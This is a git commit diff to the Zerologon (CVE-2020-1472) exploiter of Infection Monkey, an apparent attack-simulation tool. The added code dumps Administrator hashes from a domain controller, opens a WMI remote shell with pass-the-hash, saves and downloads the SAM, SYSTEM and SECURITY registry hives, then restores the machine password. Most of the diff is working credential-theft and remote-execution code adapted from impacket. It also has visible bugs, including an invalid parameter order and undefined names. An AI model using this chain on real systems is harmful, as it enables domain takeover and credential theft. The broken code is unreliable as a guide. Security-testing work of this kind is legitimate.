forked from p15670423/monkey
Restore password
(wmiexec to get HKLM keys --> secretsdump to get orig pwd nthash --> restore)
This commit is contained in:
parent
e7485bd02f
commit
53ef6feadf
|
@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
|
||||||
from __future__ import division, print_function
|
from __future__ import division, print_function
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
|
import cmd
|
||||||
import codecs
|
import codecs
|
||||||
import io
|
import io
|
||||||
import logging
|
import logging
|
||||||
|
import ntpath
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
from binascii import hexlify, unhexlify
|
from binascii import hexlify, unhexlify
|
||||||
|
|
||||||
import impacket
|
import impacket
|
||||||
from Cryptodome.Cipher import AES, ARC4, DES
|
from Cryptodome.Cipher import AES, ARC4, DES
|
||||||
from impacket import crypto, version
|
from impacket import crypto, version
|
||||||
from impacket.dcerpc.v5 import epm, nrpc, transport
|
from impacket.dcerpc.v5 import epm, nrpc, transport
|
||||||
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||||
from impacket.examples import logger
|
from impacket.examples import logger
|
||||||
|
@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
|
||||||
NTDSHashes, RemoteOperations,
|
NTDSHashes, RemoteOperations,
|
||||||
SAMHashes)
|
SAMHashes)
|
||||||
from impacket.krb5.keytab import Keytab
|
from impacket.krb5.keytab import Keytab
|
||||||
from impacket.smbconnection import SMBConnection
|
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
|
||||||
|
SMB_DIALECT, SMBConnection)
|
||||||
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
|
@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
_orig_stdout = None
|
||||||
|
_new_stdout = None
|
||||||
|
|
||||||
|
|
||||||
|
def _set_stdout_to_in_memory():
|
||||||
|
# set stdout to in-memory text stream, to capture info that would otherwise be printed
|
||||||
|
_orig_stdout = sys.stdout
|
||||||
|
_new_stdout = io.StringIO()
|
||||||
|
sys.stdout = _new_stdout
|
||||||
|
|
||||||
|
|
||||||
|
def _unset_stdout_and_return_captured():
|
||||||
|
# set stdout to original and return captured output
|
||||||
|
sys.stdout = _orig_stdout
|
||||||
|
_new_stdout.seek(0)
|
||||||
|
return _new_stdout.read()
|
||||||
|
|
||||||
|
|
||||||
class ZerologonExploiter(HostExploiter):
|
class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = 'Netlogon'
|
||||||
|
@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
'resumefile': None,
|
'resumefile': None,
|
||||||
'sam': None,
|
'sam': None,
|
||||||
'security': None,
|
'security': None,
|
||||||
'system': None,
|
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
|
||||||
# target and target_ip are assigned in get_original_pwd_nthash()
|
'target': '',
|
||||||
|
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
|
||||||
'ts': False,
|
'ts': False,
|
||||||
'use_vss': False,
|
'use_vss': False,
|
||||||
'user_status': False
|
'user_status': False
|
||||||
|
@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.info("DCSync; getting original password hashes.")
|
LOG.info("DCSync; getting original password hashes.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP)
|
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if not original_pwd_nthash:
|
if not admin_pwd_hashes:
|
||||||
raise Exception("Couldn't extract nthash of original password.")
|
raise Exception("Couldn't extract admin password's hashes.")
|
||||||
|
|
||||||
|
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
||||||
|
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||||
|
@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter):
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, DC_NAME, DC_IP):
|
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
|
||||||
dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP)
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
for secret in dumped_secrets:
|
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
if DC_NAME in secret:
|
options['target_ip'] = DC_IP
|
||||||
nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
|
||||||
return nthash
|
|
||||||
|
|
||||||
def get_dumped_secrets(self, DC_NAME, DC_IP):
|
|
||||||
self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
|
||||||
self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
|
|
||||||
|
|
||||||
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
|
||||||
self.OPTIONS_FOR_SECRETSDUMP['target']).groups('')
|
options['target']).groups('')
|
||||||
|
|
||||||
# In case the password contains '@'
|
# In case the password contains '@'
|
||||||
if '@' in remote_name:
|
if '@' in remote_name:
|
||||||
password = password + '@' + remote_name.rpartition('@')[0]
|
password = password + '@' + remote_name.rpartition('@')[0]
|
||||||
remote_name = remote_name.rpartition('@')[2]
|
remote_name = remote_name.rpartition('@')[2]
|
||||||
|
|
||||||
dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP)
|
dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
domain=domain,
|
||||||
|
options=options)
|
||||||
|
for secret in dumped_secrets:
|
||||||
|
if 'Administrator' in secret:
|
||||||
|
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
|
||||||
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
|
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
||||||
|
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes)
|
||||||
|
|
||||||
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
|
for name in ['system', 'sam', 'security']:
|
||||||
|
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
||||||
|
|
||||||
|
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
||||||
|
options=options)
|
||||||
|
for secret in dumped_secrets:
|
||||||
|
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash"
|
||||||
|
nthash = secret.split(':')[-1]
|
||||||
|
return nthash
|
||||||
|
|
||||||
|
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options):
|
||||||
|
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
|
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
||||||
|
remote_shell = WmiexecRemoteShell(host=self.host,
|
||||||
|
username='Administrator',
|
||||||
|
domain=DC_IP,
|
||||||
|
hashes=':'.join(admin_pwd_hashes))
|
||||||
|
if remote_shell:
|
||||||
|
_set_stdout_to_in_memory()
|
||||||
|
|
||||||
|
# save HKLM keys on host
|
||||||
|
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
||||||
|
'reg save HKLM\SAM sam.save && ' +
|
||||||
|
'reg save HKLM\SECURITY security.save')
|
||||||
|
|
||||||
|
# get HKLM keys locally (can't run these together because it needs to call do_get())
|
||||||
|
shell.onecmd('get system.save')
|
||||||
|
shell.onecmd('get sam.save')
|
||||||
|
shell.onecmd('get security.save')
|
||||||
|
|
||||||
|
# delete saved keys from host
|
||||||
|
shell.onecmd('del /f system.save sam.save security.save')
|
||||||
|
|
||||||
|
info = _unset_stdout_and_return_captured()
|
||||||
|
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise Exception("Could not start remote shell on DC.")
|
||||||
|
|
||||||
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
rpc_con = self.connect_to_dc(DC_IP)
|
rpc_con = self.connect_to_dc(DC_IP)
|
||||||
|
@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
|
|
||||||
|
|
||||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
# Used to get original password hash
|
# Used to get Administrator and original DC passwords' hashes
|
||||||
class DumpSecrets:
|
class DumpSecrets:
|
||||||
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
def __init__(self, remote_name, username='', password='', domain='', options=None):
|
||||||
self.__use_VSS_method = options['use_vss']
|
self.__use_VSS_method = options['use_vss']
|
||||||
|
@ -310,16 +383,10 @@ class DumpSecrets:
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||||
if self.__do_kerberos:
|
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||||
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
|
|
||||||
self.__nthash, self.__aes_key, self.__kdc_host)
|
|
||||||
else:
|
|
||||||
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
|
||||||
|
|
||||||
def dump(self):
|
def dump(self):
|
||||||
orig_stdout = sys.stdout
|
_set_stdout_in_memory()
|
||||||
new_stdout = io.StringIO()
|
|
||||||
sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed
|
|
||||||
dumped_secrets = ''
|
dumped_secrets = ''
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
@ -454,9 +521,7 @@ class DumpSecrets:
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
finally:
|
finally:
|
||||||
sys.stdout = orig_stdout
|
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
|
||||||
new_stdout.seek(0)
|
|
||||||
dumped_secrets = new_stdout.read() # includes hashes and kerberos keys
|
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
|
@ -475,3 +540,167 @@ class DumpSecrets:
|
||||||
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
|
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
|
||||||
# mention patching details in report
|
# mention patching details in report
|
||||||
# add exploit info to documentation
|
# add exploit info to documentation
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to get HKLM keys for restoring original DC password
|
||||||
|
class WmiexecRemoteShell:
|
||||||
|
OUTPUT_FILENAME = '__' + str(time.time())
|
||||||
|
CODEC = sys.stdout.encoding
|
||||||
|
|
||||||
|
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False):
|
||||||
|
self.host = host
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash, self.__nthash = hashes.split(':')
|
||||||
|
self.__share = share
|
||||||
|
self.__noOutput = noOutput
|
||||||
|
self.shell = None
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
if self.__noOutput is False:
|
||||||
|
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr)
|
||||||
|
smbConnection.login(user=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash)
|
||||||
|
|
||||||
|
dcom = DCOMConnection(target=self.host.ip_addr,
|
||||||
|
username=self.__username,
|
||||||
|
password=self.__password,
|
||||||
|
domain=self.__domain,
|
||||||
|
lmhash=self.__lmhash,
|
||||||
|
nthash=self.__nthash,
|
||||||
|
oxidResolver=True)
|
||||||
|
|
||||||
|
try:
|
||||||
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||||
|
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||||
|
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||||
|
iWbemLevel1Login.RemRelease()
|
||||||
|
|
||||||
|
win32Process, _ = iWbemServices.GetObject('Win32_Process')
|
||||||
|
|
||||||
|
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
|
||||||
|
# return self.shell?
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
smbConnection.logoff()
|
||||||
|
dcom.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to start remote shell on victim
|
||||||
|
class RemoteShell(cmd.Cmd):
|
||||||
|
def __init__(self, share, win32Process, smbConnection):
|
||||||
|
cmd.Cmd.__init__(self)
|
||||||
|
self.__share = share
|
||||||
|
self.__output = '\\' + self.OUTPUT_FILENAME
|
||||||
|
self.__outputBuffer = str('')
|
||||||
|
self.__shell = 'cmd.exe /Q /c '
|
||||||
|
self.__win32Process = win32Process
|
||||||
|
self.__transferClient = smbConnection
|
||||||
|
self.__pwd = str('C:\\')
|
||||||
|
self.__noOutput = True
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
if self.__transferClient is not None:
|
||||||
|
self.__transferClient.setTimeout(100000)
|
||||||
|
self.do_cd('\\')
|
||||||
|
else:
|
||||||
|
self.__noOutput = True
|
||||||
|
|
||||||
|
def do_get(self, src_path):
|
||||||
|
try:
|
||||||
|
import ntpath
|
||||||
|
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||||
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
|
filename = ntpath.basename(tail)
|
||||||
|
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
|
||||||
|
fh = open(local_file_path, 'wb')
|
||||||
|
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||||
|
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
|
||||||
|
fh.close()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
if os.path.exists(local_file_path):
|
||||||
|
os.remove(local_file_path)
|
||||||
|
|
||||||
|
def do_exit(self, s):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def do_cd(self, s):
|
||||||
|
self.execute_remote('cd ' + s)
|
||||||
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||||
|
self.execute_remote('cd ')
|
||||||
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
|
self.prompt = (self.__pwd + '>')
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
|
||||||
|
def default(self, line):
|
||||||
|
# Let's try to guess if the user is trying to change drive
|
||||||
|
if len(line) == 2 and line[1] == ':':
|
||||||
|
# Execute the command and see if the drive is valid
|
||||||
|
self.execute_remote(line)
|
||||||
|
if len(self.__outputBuffer.strip('\r\n')) > 0:
|
||||||
|
# Something went wrong
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
# Drive valid, now we should get the current path
|
||||||
|
self.__pwd = line
|
||||||
|
self.execute_remote('cd ')
|
||||||
|
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||||
|
self.prompt = (self.__pwd + '>')
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
else:
|
||||||
|
if line != '':
|
||||||
|
self.send_data(line)
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
try:
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
|
||||||
|
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
|
||||||
|
'again with -codec and the corresponding codec')
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
|
||||||
|
|
||||||
|
if self.__noOutput is True:
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.__transferClient.getFile(self.__share, self.__output, output_callback)
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
|
||||||
|
# Output not finished, let's wait
|
||||||
|
time.sleep(1)
|
||||||
|
pass
|
||||||
|
elif str(e).find('Broken') >= 0:
|
||||||
|
# The SMB Connection might have timed out, let's try reconnecting
|
||||||
|
LOG.debug('Connection broken, trying to recreate it')
|
||||||
|
self.__transferClient.reconnect()
|
||||||
|
return self.get_output()
|
||||||
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = self.__shell + data
|
||||||
|
if self.__noOutput is False:
|
||||||
|
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
|
||||||
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ''
|
||||||
|
|
Loading…
Reference in New Issue